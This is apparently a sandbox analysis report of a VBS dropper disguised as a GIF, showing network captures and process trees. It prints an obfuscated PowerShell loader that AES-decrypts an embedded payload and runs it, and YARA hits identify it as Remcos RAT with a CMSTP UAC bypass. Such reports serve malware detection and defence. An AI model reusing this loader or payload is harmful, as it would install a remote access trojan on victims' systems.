Jul 27, 2024 13:30:04.548738003 CEST	1236	IN	Data Raw: 67 77 4d 41 49 44 2b 79 41 76 4d 6f 4c 44 34 79 67 74 4d 51 4c 44 79 79 41 73 4d 34 4b 44 73 79 67 71 4d 67 4b 44 6d 79 41 70 4d 49 4b 44 67 79 67 6e 4d 77 4a 44 61 79 41 6d 4d 59 4a 44 55 79 67 6b 4d 41 4a 44 4f 79 41 6a 4d 6f 49 44 49 79 67 68 Data Ascii: gwMAID+yAvMoLD4ygtMQLDyyAsM4KDsygqMgKDmyApMIKDgygnMwJDayAmMYJDUygkMAJDOyAjMoIDIyghMQIDCyAQM4HD8xgeMgHD2xAdMIHDwxgbMwGDqxAaMYGDkxgYMAGDexAXMoFDYxgVMQFDSxAUM4EDMxgSMgEDGxARMIEDAwgPMwDD6wAOMYDD0wgMMADDuwALMoCDowgJMQCDiwAIM4BDcwgGMgBDWwAFMIBDQwgDM
Jul 27, 2024 13:30:04.548773050 CEST	1236	IN	Data Raw: 38 44 4c 2f 51 79 50 63 38 44 46 2f 77 77 50 45 34 44 2f 2b 51 76 50 73 37 44 35 2b 77 74 50 55 37 44 7a 2b 51 73 50 38 36 44 74 2b 77 71 50 6b 36 44 6e 2b 51 70 50 4d 36 44 68 2b 77 6e 50 30 35 44 62 2b 51 6d 50 63 35 44 56 33 77 37 4e 34 65 44 Data Ascii: 8DL/QyPc8DF/wwPE4D/+QvPs7D5+wtPU7Dz+QsP86Dt+wqPk6Dn+QpPM6Dh+wnP05Db+QmPc5DV3w7N4eDt3A7NseDq3Q6NgeDn3g5NUeDk3w4NIeDe3Q3NwdDb3g2NkdDY3w1NYdDV3A1NMdDS3Q0NAdDP3gzN0cDM3wyNocDJ3AyNccDG3QhN4bD92AvNcbD22QtNQbDz2gsNEbDw2AkN8YDO2QiNgYDH2ghNUYDE2wgNIUD/
Jul 27, 2024 13:30:04.548811913 CEST	1236	IN	Data Raw: 41 73 4e 32 5a 6a 62 32 6b 52 4e 78 56 44 4c 31 55 52 4e 41 51 7a 31 30 45 4a 4e 62 4e 54 61 7a 38 68 4d 71 45 6a 61 78 6b 42 4d 50 44 44 68 77 73 48 4d 50 41 6a 42 41 41 41 41 4d 42 51 42 67 41 41 41 41 38 54 69 2f 41 6f 50 39 37 7a 73 39 77 62 Data Ascii: AsN2Zjb2kRNxVDL1URNAQz10EJNbNTaz8hMqEjaxkBMPDDhwsHMPAjBAAAAMBQBgAAAA8Ti/AoP97zs9wbPM1zF8cCPUsDj7YlOCeDm34jNNXj51UcNNVDL1YBNdTzd0gENeMTty0tMQKjFyQQM7FTNAAAAIBQBQAAAA8j88UDPtwTJ80BPWoTU6UhODkT858dONnDG28SNwXj31wcN6WDq1YZNEWjc1AWNOVDP1oSNYQD10AMN
Jul 27, 2024 13:30:04.548844099 CEST	1236	IN	Data Raw: 4c 44 32 79 4d 73 4d 51 4b 6a 4c 79 63 53 4d 63 46 54 56 41 41 41 41 41 43 41 42 77 43 41 41 41 34 54 4a 39 73 43 50 6c 79 54 55 37 34 32 4f 6f 74 6a 56 37 6f 78 4f 50 6f 7a 65 36 77 53 4f 36 6e 6a 79 33 73 38 4e 74 65 6a 70 33 34 34 4e 48 65 44 Data Ascii: LD2yMsMQKjLycSMcFTVAAAAACABwCAAA4TJ9sCPlyTU742OotjV7oxOPoze6wSO6njy3s8Ntejp344NHeDe3g2NhdjI0cFAAAAOAQAoA8TL/ERP03jv9MRPDwTq8YIPQxjP8cwOMvTs7E4OIpz06UsOArzs60pOHqDg68VOvdzc2MqNEajY1QfNSXjw10aNjWjA00ONkTz10wMN2Rjb0kENBRzE0wwM7PT8zc+MgPT0zs8MEPTu
Jul 27, 2024 13:30:04.548878908 CEST	1236	IN	Data Raw: 77 5a 4d 33 46 7a 58 78 63 56 4d 4c 46 54 4f 78 41 53 4d 59 45 54 45 77 34 50 4d 79 44 44 35 77 63 4e 4d 53 44 54 78 77 41 4d 4d 33 43 54 71 77 4d 4b 4d 59 43 6a 6b 77 63 49 4d 2f 42 44 64 77 34 47 4d 64 42 44 57 77 6b 45 4d 57 41 7a 41 41 41 41 Data Ascii: wZM3FzXxcVMLFTOxASMYETEw4PMyDD5wcNMSDTxwAMM3CTqwMKMYCjkwcIM/BDdw4GMdBDWwkEMWAzAAAAAgCABABwPt/T4/Q9PP/Tm/c4PD5Tx+4qPY0jz9YbPn1DX9MAPizzO7o+OWvzy7A8O7uTs7w6OSuzd7o0Oyoj+6QtO3qTg6clO4gjG4UxNnfjx3E8NOezh3g2NedDW3kzNvUzO1ADN3Tj70MIN9Rzd00GNZQTBz8/M
Jul 27, 2024 13:30:04.548914909 CEST	1236	IN	Data Raw: 36 6a 6a 2b 6b 6f 50 45 36 44 65 2b 45 6c 50 4d 35 7a 52 2b 73 6a 50 58 34 6a 45 2b 30 67 50 42 30 54 33 39 67 64 50 54 33 6a 79 39 4d 61 50 65 32 54 6d 39 6b 59 50 6e 31 54 57 39 30 55 50 2b 30 6a 49 38 67 50 50 77 7a 54 32 38 6b 4d 50 4e 79 54 Data Ascii: 6jj+koPE6De+ElPM5zR+sjPX4jE+0gPB0T39gdPT3jy9MaPe2Tm9kYPn1TW90UP+0jI8gPPwzT28kMPNyTg60BOijDt44KOiejZ3I2NedjW3Y1NSdjT3o0NGdjQ34zN6cjN3IzNucjK3YyNicjH3oxNWcjE34wNKcjB3IgN+bj+2YvNybj72oOAAAApAMAgAAAA0IOAAAADAMAcA8DU+gtPFzDL8gCPkwDI8sxOWvDg7w3O4tDd
Jul 27, 2024 13:30:04.554217100 CEST	1236	IN	Data Raw: 34 35 4f 57 75 6a 54 37 67 30 4f 77 73 6a 43 36 6b 76 4f 76 72 44 30 36 55 53 4f 30 6c 6a 42 34 6b 50 4f 30 6a 7a 30 34 34 4d 4f 4a 6a 44 75 34 6f 49 4f 71 67 54 41 33 49 37 4e 61 64 54 51 33 6b 7a 4e 53 63 54 42 32 63 71 4e 64 61 7a 69 32 55 6f Data Ascii: 45OWujT7g0OwsjC6kvOvrD06USO0ljB4kPO0jz044MOJjDu4oIOqgTA3I7NadTQ3kzNScTB2cqNdazi2UoN+ZTa2MkNyYjI2YhNDUD81EaN1RT108MNuSTq08JNUSji0AIN6RDd04GNoRjV0wENERTO0MDNtQjF04wMRPTyzs7MxOjozc5MSODjzU4MyNjVz00MINTOz0yMaMjEy4vM1LD8ycuMiLz2ywsMGLTuxMeMZHzzxUcM

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49734	178.237.33.50	80	1344	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 13:30:07.153363943 CEST	71	OUT	GET /json.gp HTTP/1.1 Host: geoplugin.net Cache-Control: no-cache
Jul 27, 2024 13:30:07.815247059 CEST	1170	IN	HTTP/1.1 200 OK date: Sat, 27 Jul 2024 11:30:07 GMT server: Apache content-length: 962 content-type: application/json; charset=utf-8 cache-control: public, max-age=300 access-control-allow-origin: * Data Raw: 7b 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 72 65 71 75 65 73 74 22 3a 22 38 2e 34 36 2e 31 32 33 2e 33 33 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 73 74 61 74 75 73 22 3a 32 30 30 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 64 65 6c 61 79 22 3a 22 32 6d 73 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 63 72 65 64 69 74 22 3a 22 53 6f 6d 65 20 6f 66 20 74 68 65 20 72 65 74 75 72 6e 65 64 20 64 61 74 61 20 69 6e 63 6c 75 64 65 73 20 47 65 6f 4c 69 74 65 32 20 64 61 74 61 20 63 72 65 61 74 65 64 20 62 79 20 4d 61 78 4d 69 6e 64 2c 20 61 76 61 69 6c 61 62 6c 65 20 66 72 6f 6d 20 3c 61 20 68 72 65 66 3d 27 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 6d 61 78 6d 69 6e 64 2e 63 6f 6d 27 3e 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 6d 61 78 6d 69 6e 64 2e 63 6f 6d 3c 5c 2f 61 3e 2e 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 63 69 74 79 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 72 65 67 69 6f 6e 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 22 67 65 6f [TRUNCATED] Data Ascii: { "geoplugin_request":"8.46.123.33", "geoplugin_status":200, "geoplugin_delay":"2ms", "geoplugin_credit":"Some of the returned data includes GeoLite2 data created by MaxMind, available from <a href='https:\/\/www.maxmind.com'>https:\/\/www.maxmind.com<\/a>.", "geoplugin_city":"New York", "geoplugin_region":"New York", "geoplugin_regionCode":"NY", "geoplugin_regionName":"New York", "geoplugin_areaCode":"", "geoplugin_dmaCode":"501", "geoplugin_countryCode":"US", "geoplugin_countryName":"United States", "geoplugin_inEU":0, "geoplugin_euVATrate":false, "geoplugin_continentCode":"NA", "geoplugin_continentName":"North America", "geoplugin_latitude":"40.7123", "geoplugin_longitude":"-74.0068", "geoplugin_locationAccuracyRadius":"20", "geoplugin_timezone":"America\/New_York", "geoplugin_currencyCode":"USD", "geoplugin_currencySymbol":"$", "geoplugin_currencySymbol_UTF8":"$", "geoplugin_currencyConverter":0}

Target ID:	0
Start time:	07:29:58
Start date:	27/07/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\screensimplethingstohandlecream.gIF.vbs"
Imagebase:	0x7ff6e5c30000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	1
Start time:	07:29:58
Start date:	27/07/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI16942742004897547110020442916503CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIAiyJ4w4PDxrjYBTpE+kCMXAi0n0WFrEwTQqO6Ll9vCemso5/Wu4WU8DFicwqoQGgHUNsDgf18ada181Zl+9aIMRyGbBhOQL1xtRLUPEYoMibGKdW5HX/pyEQS0Jw3Vh2+CYHtXZW4mAXpPVkuI6gUlIz8DEsOP8YwWP+kL3LpnXUvoD/qBKfflwTqLdaSslAUZJBizi2g2Z8nGQwpbShstgk8iXwe1n31tDVYVkp3T5T5WY1HmUD74K+YmOudrHG5Myz3duSqcna3IjfjlEbg/ZIO/KCvQGjgfJjV8ugk/Yy2P5Oa+5QFOgc8iixUoiNIoPAYztidKVOOGmbgFMbkku0XGVqmJjKcyMtEJtArogT9aYZx/ed96FLgWK+okfu0GPY3zgarb0LJ0UOULymAYnqJJj3ofVS7De8JjcTEqBknfr/caOlBiLhsYNQWSOgsDhrRvf5YYzMpM83vqh06V2szJv2yAB9LsAHIGxJWtU+c0ovHZ5Vdqtl/xa+xpgCscC3s+9s4OttMJQD+Y6OgggjtZYrP3PNltGTuGXGV6FdDehpSU/xdy/8GAxcGUjH9Mr8gb130Pu+0YBW9HdBQ2iWvdVhvMv9Qexc/zgzM2wKPrSh6KwTAbvQCmsP7v0n0diE/lfStsBI95daYr1R09j361KgVwHJfGtSYJKTiZxk3Kjr8ned9cTP7Hr1sIs66dD0GkNgVgIBM3hQi4l/JbuLztLdOqUSCMtPOJbMVvd+MpGtoXPGCTnJjImLTYVVP67C5k3Tf8ib1O6pKQeQcxhQ5hyr1qq3EQ0hJl5ZNCjy/SUT8QdLtfUcum3xRlxAeH032MIpclIzJhwFgmOsJsKiJLds99V3vTPgCXZZnxnNS2du/73NT4UYFNd4J7+I54BTGng1g4J6A5nhvO9KkoFS0c0denf7crIdeMf7pSj0inJztc2aRCT3AEJT3zVJwCBYKOYKPppt5njp0JLB5aB1OBZOO8YTYn1Zek16QtXF/UDhcFSHjS/B3tfXkD2tRnhujolV+Fes7ISTg3tPOFFvRigpQFL4IgLPiP2k7alWxEZHAX+W9FTNKh054AIMuEYzSP0JTVG2VJBq1OAfoQjhBvwQGKAAzRNd+6L+lgQp6ASIjm8tteW0NYUDIsW5x5Js0LElEjrFSiSmbujrdPEw/2oL5TaVIPCWAWwofdzk+coQ0nI1BV4Ecz4/ITbC8RsV1s7k18zvJwByHMIMM9IrxaprgzKSCaODhTKxF53rNwycY7cipt+8OD/N5OYtYZcvj7SdQKqL5DqbVs23F23QxJW9fAyZGdFz8Roqgg9TRDb2FyYfFHPkwCgRN8f9lD4F+Xjt70yId/tbDb3DUwEzhVgMNSBmOaW6o9DawkzEHDJcdtOzPNSKtye26n8CIG+NRXD0lhN5RBg3MLzMew==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion') -CREplacE 'e4j',[Char]39 -CREplacE([Char]65+[Char]81+[Char]77),[Char]124)\|&( $verbosEPREFerEncE.tosTriNg()[1,3]+'x'-join'')
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000001.00000002.1760253899.000001F161F90000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000001.00000002.1760253899.000001F161F90000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 00000001.00000002.1760253899.000001F161F90000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000001.00000002.1760253899.000001F162D9C000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000001.00000002.1760253899.000001F162D9C000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 00000001.00000002.1760253899.000001F162D9C000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	true

Target ID:	2
Start time:	07:29:58
Start date:	27/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	3
Start time:	07:30:04
Start date:	27/07/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x7f0000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000003.00000002.2929959756.0000000000F5A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000003.00000002.2928318861.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000003.00000002.2928318861.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 00000003.00000002.2928318861.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: REMCOS_RAT_variants, Description: unknown, Source: 00000003.00000002.2928318861.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM, Description: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003), Source: 00000003.00000002.2928318861.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	high
Has exited:	false

Target ID:	4
Start time:	07:30:07
Start date:	27/07/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\user\AppData\Local\Temp\nkpfvnsml"
Imagebase:	0x530000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	5
Start time:	07:30:07
Start date:	27/07/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\user\AppData\Local\Temp\xeupwfcgzmvn"
Imagebase:	0xe10000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	6
Start time:	07:30:07
Start date:	27/07/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\user\AppData\Local\Temp\igzioyninunayvp"
Imagebase:	0x2f0000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	7
Start time:	07:30:07
Start date:	27/07/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\user\AppData\Local\Temp\igzioyninunayvp"
Imagebase:	0xe00000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true